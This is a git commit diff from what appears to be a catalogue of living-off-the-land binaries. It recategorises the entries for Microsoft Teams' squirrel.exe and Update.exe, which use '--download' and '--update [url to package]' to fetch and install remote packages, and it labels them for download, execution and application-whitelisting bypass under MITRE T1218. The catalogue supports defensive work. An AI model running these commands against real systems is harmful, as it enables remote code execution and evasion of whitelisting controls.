Adjusted Update and Squirrel

This commit is contained in:
Oddvar Moe 2019-06-28 09:05:27 +02:00
parent 3be3e5f3f8
commit e05ae6c051
2 changed files with 15 additions and 15 deletions

View File

@ -6,24 +6,24 @@ Created: '2019-06-26'
Commands:
- Command: squirrel.exe --download [url to package]
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary
Category: Execute
Usecase: Download binary
Category: Download
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: squirrel.exe --download [url to package]
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
- Command: squirrel.exe --update [url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 10
- Command: squirrel.exe --download [url to package]
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: squirrel.exe --update [url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: Download
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/

View File

@ -6,24 +6,24 @@ Created: '2019-06-26'
Commands:
- Command: Update.exe --download [url to package]
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary
Category: Execute
Usecase: Download binary
Category: Download
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --download [url to package]
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
- Command: Update.exe --update [url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --download [url to package]
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
- Command: Update.exe --update [url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: Download
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/